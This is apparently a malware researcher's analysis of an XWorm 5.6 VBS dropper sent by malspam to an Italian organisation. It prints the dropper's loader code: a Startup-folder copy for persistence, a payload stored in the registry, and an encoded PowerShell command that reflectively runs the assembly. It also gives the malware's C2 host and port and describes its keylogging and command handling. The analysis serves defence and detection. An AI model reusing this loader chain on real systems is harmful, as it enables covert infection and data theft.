Every now and then you come across new malware variants and find something that attracts a little attention. A few days ago I acquired a VBS file, directed via a malspam campaign against an Italian organization, that was approximately 409 MB in size (sha256:ADF773B49D8306E08B5232039E0DEA143E2C015CDC731F1BE86D7DD92FCCA6A9).
After thinking I might find something like a NetFlix series or maybe the Middle-Earth map inside, I opened it with a HEX editor (and was rather disappointed because I only found an extreme padding):
So I cleaned the file to bring it to a smaller size of around 50KB (sha256:9E123E98616D1BF98F868759FE04A4817A12D69512EEE6946662102F3B1775EE). Here the original extracted code:
On Error Resume Next
'Dim suXjung
'suXjung = MsgBox ("", , "")
For x = 0 To 30
WScript.Sleep(1000)
Next
Aswu1rhgrlrl0="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[redated]..."
Aswu1rhgrlrl12288="AUWbh5Edz9GSrNWZoNEAlBXeUVWbh5Edz9GSpJXVAkmcVBQZtFmTlxWaG9FdldGAlxWdk9WTulWYN9FdldGAlxWdk9WTzNXZj9mcQBw...[redated]..."
Aswu1rhgrlrl24576="BkEAx5wvBEMBE6QsBkEB+5QmBkBAx5giBkLAF7QfBkEATEgNBkLBP4AbBELBqFgNAEkAREgNBEIBbNg+AEjAREgNAkIBV5ASAEDBQ5...[redated]..."
Aswu1rhgrlrl36864="KAAAMiiAHsC3KAAAZ92BGwyBK49CBAAA4RnCAAwxvZgCAAgxvBHAHMlcGoAAAU8bAAwJQAiBKAAAE/2FGoAAAM8baqAAAAzb36IBAA...[redated]..."
Ahf2op5r4m4c = Aswu1rhgrlrl0 + Aswu1rhgrlrl12288 + Aswu1rhgrlrl24576 + Aswu1rhgrlrl36864
Set obj = CreateObject("Wscript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
startPath = obj.SpecialFolders("Startup") & "\Payload.vbs"
currentPath = fso.GetAbsolutePathName(wscript.scriptfullname)
Reg = "HKCU\SOFTWARE\Payload\Payload"
if obj.RegRead(Reg) <> Ahf2op5r4m4c then
obj.RegWrite Reg, Ahf2op5r4m4c
end if
PPSS = "Powershell -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAGEAeQBsAG8AYQBkAFwAKQAuAFAAYQB5AGwAbwBhAGQAKQA7ACAAJAB0AGUAeAB0ACAAPQAgAC0AagBvAGkAbgAgACQAdABlAHgAdABbAC0AMQAuAC4ALQAkAHQAZQB4AHQALgBMAGUAbgBnAHQAaABdADsAIABbAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAZQB4AHQAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABOAHUAbABsACwAJABOAHUAbABsACkAOwA="
PSPS = "Powershell -exec bypass -window 1 Copy-Item '" & currentPath & "' '" & startPath & "';"
obj.Run PSPS, 0, False
obj.Run PPSS, 0, False
It is not difficult to understand how it works in general; This VBScript (VBS) performs a sequence of actions aimed at achieving persistence and executing a malicious payload on a Windows system. After a delay loop, the script defines multiple variables (Aswu1rhgrlrl0
, Aswu1rhgrlrl12288
, etc.) containing extensive base64-encoded strings.
These strings represent encoded data for the final payload. Furthermore it interacts with the Windows registry using Wscript.Shell
and Scripting.FileSystemObject
objects and reads from and writes to a registry key (HKCU\SOFTWARE\Payload\Payload
). This is used for storing the payload data.
After this, another piece of code is executed:
$text = ((Get-ItemProperty HKCU:\Software\Payload\).Payload); $text = -join $text[-1..-$text.Length]; [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);
This one retrieves a base64-encoded payload from a specific registry key (HKCU:\Software\Payload
). It then reverses the order of characters in the decoded string and converts it back from base64 into a byte array. The script dynamically loads this byte array as an assembly into the current application domain using [AppDomain]::CurrentDomain.Load(...)
. Finally, it invokes the entry point of this dynamically loaded assembly, passing null arguments. The final chain looks like the following:
RETRIEVING THE PAYLOAD AND THE CONFIG
At this point I started to wrote few lines of PowerShell code to retrieve the original payload and to play a little with this XWorm variant:
$text = Get-Content -Path "[mypath]\Ahf2op5r4m4c.txt"
$text = $text.Trim()
$text = -join $text[-1..-$text.Length]
$binaryPayload = [Convert]::FromBase64String($text)
$payloadPath = "[mypath]\Ahf2op5r4m4c.bin"
[System.IO.File]::WriteAllBytes($payloadPath, $binaryPayload)
Write-Output "File saved -> $payloadPath"
The extracted payload (sha256:E202C9745876E613AC216A2FF07859265EA1FAEF3FB03D32B727B7BD714DD35E) is .Net Worm variant (ver. 5.6) presenting Monday, Jun 03, 2024 (665E10CF) as TimeDateStamp. It has similarities with the variant analyzed on October 2023 by CERT-PL. I quickly moved under the AlgorithmAES class to have a look the Decrypt routine
This code snippet defines the AlgorithmAES
class with a static method Decrypt
designed to decrypt encrypted data using the AES (Advanced Encryption Standard) algorithm in ECB (Electronic Codebook) mode. The code begins by initializing a RijndaelManaged
object to handle the AES algorithm and an MD5CryptoServiceProvider
object to generate an MD5 hash. It then creates a 32-byte array for the AES key and populates it with the computed MD5 hash, splitting and copying it into the array. Next, it configures the rijndaelManaged
object with the generated key and sets the encryption mode to ECB, which processes each data block independently. The code then converts the input from Base64 into a byte array and applies a cryptographic transformation to decrypt it using the previously created transformer. AlgorithmAES.Decrypt is called in the main() to retrieve configuration parameters such as C2 (hostname/port) and others..
According to this logic, i wrote another PowerShell script useful to quickly extract the malware’s configuration by directly specifying the name of the executable for which you want to extract the configuration. The executable is loaded by Reflection.
It’s available on my GitHub space.
Using this code I was able to retrieve the malware configuration reported below:
Hosts: liliana221990[.]duckdns[.]org
Port: 7000
KEY: <123456789>
SPL: <Xwormmm>
Groub: XWorm V5.6
USBNM: USB.exe
XWORM MAIN FEATURES
These features are referred to the analyzed version:
KEYLOGGING:
XWorm has keylogging functionality implemented in the XLogger class; This one begins by defining and setting up a low-level keyboard hook (SetHook
) through the SetWindowsHookEx
function. This hook allows the application to monitor keyboard events globally, irrespective of which window is currently active. The hook is initialized with a callback function (HookCallback
), responsible for processing intercepted keyboard events. When a key press event (WM_KEYDOWN
) is detected, identified by wParam == (IntPtr)256
, the HookCallback
method is triggered. This method retrieves the virtual key code (vkCode
) from the event parameters and interprets it. The intercepted keystrokes, along with the title of the active window (GetActiveWindowTitle
), are then logged to a specified file (Settings.LoggerPath
). This contextual information provides additional context to logged keystrokes, making the monitoring data more useful.
RECONNAISSANCE AND BEACONING:
XWorm 5.6 has reconnaissance and C2 communication capabilities under the ClientSocket class. It includes various methods and properties related to establishing a connection, sending and receiving data, and managing the connection state. XWorm uses the Buffer
field as a byte array that serves as the buffer for incoming data. In a similar way, the MS
field is a MemoryStream
object that is used to store the received data. The BeginConnect()
method is responsible for initiating the connection to the server. It retrieves a random host from the Settings.Hosts
list, resolves the host address, and attempts to connect to the server using the ConnectServer()
method. If the connection is successful, the method breaks out of the loop and returns. If the connection fails, it logs the error and continues to the next host in the list. The ConnectServer()
method creates a new Socket
instance, sets up the buffer and stream properties, and connects to the specified host and port. It also sends the result of the Info()
method to the server and starts the BeginReceive()
and Ping()
methods to handle incoming data and keep the connection alive, respectively. The Info()
method collects various system details, such as the operating system, user name, and hardware information, and returns a string representation of this data. The Ping()
method is responsible for sending literally a “PING!” message to the server at regular intervals, and the Pong()
method is a timer callback that increments the Interval
property when the connection is active and the ActivatePong
flag is set.
C2 COMMUNICATIONS:
The Messages
class is responsible for handling incoming messages from the server. It includes several methods for processing different types of messages. The Read()
method is used to process incoming messages. It splits the message into parts based on the Settings.SPL
separator and then checks the first part to determine the type of message. The SendMSG()
method is used to send a message to the server. It encrypts the message using the AES_Decryptor()
method and sends it over the socket connection. The SendError()
method is used to send an error message to the server. It encrypts the message using the AES_Decryptor()
method and sends it over the socket connection. The TD()
method is used to handle the “TD” command. It creates a new HttpWebRequest
object and sets the AllowAutoRedirect
property to true
. It then sets the Timeout
property to 10 seconds and the Method
property to “GET”. If the response is successful, it starts a new process with the URL.The Cam()
method is used to handle the “Cam” command. It creates a new Process
object and sets the StartInfo
property to the path of the camera driver. It then starts the process. The RunDisk()
method is used to run a disk-based plugin. It writes the plugin data to a temporary file and then runs the file using the Process
class. The Memory()
method is used to load and execute a memory-based plugin. It loads the plugin assembly and calls the EntryPoint
method to execute the plugin. The Pack
property is used to store the plugin data. The RS
property is used to track the connection state. The Handle
property is used to manage the socket connection. The Helper
class is used to provide various utility methods, such as GetRandomString()
, AES_Decryptor()
, Compress()
, and Decompress()
, which are used to manage the encryption and compression of data. The Uninstaller
class is used to provide methods for uninstalling and updating the application. The MyProject
class is used to manage the application configuration. The Computer
class is used to manage the system registry. The code includes several other methods and properties which are used to handle various system operations.
CONCLUSIONS
XWorm is a threat that can use various tactics to evade detection and persist on infected systems. It is distributed/sold through Darknet forums and is designed to be highly customizable, allowing adversaries to add new features and tasks. The malware employs persistence techniques such as process hollowing and mutexes to ensure it remains active on the system. Its capabilities include keylogging, data stealing, system reconnaissance, plugin loading and more. It could be found under the form of a highly obfuscated executable and use various evasion techniques to avoid detection. Usually XWorm uses a multi-staged attack, involving multiple payloads and scripts to deliver the final payload, further enhancing its stealthy nature.
IOC
IoC under my GitHub space.